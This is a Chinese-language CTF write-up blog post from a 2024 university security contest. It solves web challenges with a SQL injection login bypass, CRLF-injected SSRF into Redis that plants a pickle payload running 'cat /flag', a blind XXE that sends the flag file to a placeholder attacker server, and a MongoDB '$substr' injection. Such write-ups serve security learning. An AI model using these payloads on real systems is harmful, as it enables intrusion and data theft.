目录

  1. 1. 前言
  2. 2. phpsql
  3. 3. pyssrf
  4. 4. fileit
  5. 5. Messy Mongo
  6. 6. JustXSS (Unsolved)
  7. 7. expr (Unsolved)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

高校网络安全管理运维赛

2024/5/6 CTF线上赛 python SSRF Redis MongoDB
  |     |   总文章阅读量:

前言

官方wp:https://contest.pku.edu.cn/media/landing_page/writeup.pdf


phpsql

sql注入

给了个登录注册的框,测了一下发现 password 过滤了空格

极简payload,两边闭合相等即可:

username: admin
password: '='

万能密码好像用不了,它用的mysqli_num_rows()要返回一个非bool值,所以不能等于1或者0

登录后就得到flag

image-20240507013328630


pyssrf

CRLF + ssrf打redis + pickle反序列化

from flask import Flask,request
from redis import Redis
import hashlib
import pickle
import base64
import urllib
app = Flask(__name__)
redis = Redis(host='127.0.0.1', port=6379)

def get_result(url):
    url_key=hashlib.md5(url.encode()).hexdigest()
    res=redis.get(url_key)
    if res:
        return pickle.loads(base64.b64decode(res))
    else:
        try:
            print(url)
            info = urllib.request.urlopen(url)
            res = info.read()
            pickres=pickle.dumps(res)
            b64res=base64.b64encode(pickres)
            redis.set(url_key,b64res,ex=300)
            return res
        except urllib.error.URLError as e:
            print(e)


@app.route('/')
def hello():
    url = request.args.get("url")
    return '''<h1>give me your url via GET method like: ?url=127.0.0.1:8080<h1>
    <h2>Here is your result</h2>
    <h3>source code in /source</h3>
    %s
    ''' % get_result('http://'+url).decode(encoding='utf8',errors='ignore')

@app.route('/source')
def source():
    return 

稍微审一下代码,

python3.7.1,一眼urllib.request.urlopen存在CRLF注入

然后有pickle反序列化,应该是等会要命令执行的点

接下来看redis交互的这两行:

url_key=hashlib.md5(url.encode()).hexdigest()
res=redis.get(url_key)

我们传入的url会作为键名传给redis

测试发现开了debug模式,题目不出网,考虑用报错带出命令执行的回显:参考https://xz.aliyun.com/t/10456

payload:

先传入?url=127.0.0.1:6379,使其创建键名

然后写入命令

exp:

import hashlib
import pickle
import base64
import os

class opcode():

	def __reduce__(self):
		return (exec,("raise Exception(__import__('os').popen('cat /flag').read())",))
	
poc = base64.b64encode(pickle.dumps(opcode()))
print(poc)

url="http://127.0.0.1:6379"
url_key=hashlib.md5(url.encode()).hexdigest()
print(url_key)

传入,用CRLF注入urllib头打redis:参考https://strcpy.me/index.php/archives/749/

?url=127.0.0.1:6379?%0d%0aset cbdecc92165b29374b6b62cca016d4f8 "gASVUAAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIw0cmFpc2UgRXhjZXB0aW9uKF9faW1wb3J0X18oJ29zJykucG9wZW4oJ2lkJykucmVhZCgpKZSFlFKULg=="%0d%0asave

然后再访问?url=127.0.0.1:6379即可得到flag

image-20240507013942718


fileit

无回显xxe

ctrl+u得到hint:$creds = simplexml_import_dom($dom);,明显是xxe,测试发现无回显

bp抓包直接post请求传入payload,注意Content-Type: application/xml

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip:port/test.dtd">
%remote;%int;%send;
]>

vps上的test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip?p=%file;'>">

image-20240507014809429

于是原地tp带出flag

image-20240507014614621


Messy Mongo

image-20240507015523292

源码里面有账密ctfer:helloctfer!

接下来审index.ts,先看登录部分

app.use('/', serveStatic({ root: './static' }))

app.post('/api/login', async (c) => {
  const { username, password } = await c.req.json()
  assert(typeof username === 'string')
  assert(typeof password === 'string')
  const user = await users.findOne({ username, password })
  assert(user)
  const token = await sign({ user: user.username }, secret)
  return c.json({ token })
})

app.use('/api/*', jwt({ secret }))

app.patch('/api/login', async (c) => {
  const { user } = c.get('jwtPayload')
  const delta = await c.req.json()
  const newname = delta['username']
  assert.notEqual(newname, 'admin')
  await users.updateOne({ username: user }, [{ $set: delta }])
  if (newname) {
    await todos.updateMany({ user }, [{ $set: { user: delta['username'] } }])
  }
  return c.json(0)
})

发现一个没见过的patch请求方法,猜测要用到,里面有updateMany,这里可以对用户数据进行修改

先抓一下post请求的登陆包

image-20240507020451136

然后修改请求方法为PATCH,带上上面的token,传入请求头Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiY3RmZXIifQ.iHO7zcH73BEaSK7ZNG8VwclFTPsOefrPDx0iWHG1jUU

接下来重点看对应的代码操作:

app.patch('/api/login', async (c) => {
  const { user } = c.get('jwtPayload')
  const delta = await c.req.json()
  const newname = delta['username']
  assert.notEqual(newname, 'admin')
  await users.updateOne({ username: user }, [{ $set: delta }])
  if (newname) {
    await todos.updateMany({ user }, [{ $set: { user: delta['username'] } }])
  }
  return c.json(0)
})

根据传入的 username,只对更新的 username 是否为 admin 进行了一次验证,用 updateOneupdateMany 方法更新信息,我们可以在注入mongodb语句时用$substr来取字符来绕过这个验证,从而更新 username 为 admin

payload:

{
    "username":{
        "$substr":["admin", 0, 5]
    }
}

这样子我们的账户名称就被更新为 admin 了,再次登录即可得到flag

image-20240507021851087

image-20240507021837849


JustXSS (Unsolved)


expr (Unsolved)

一个login框,好像只能填数字,输入字母会报错500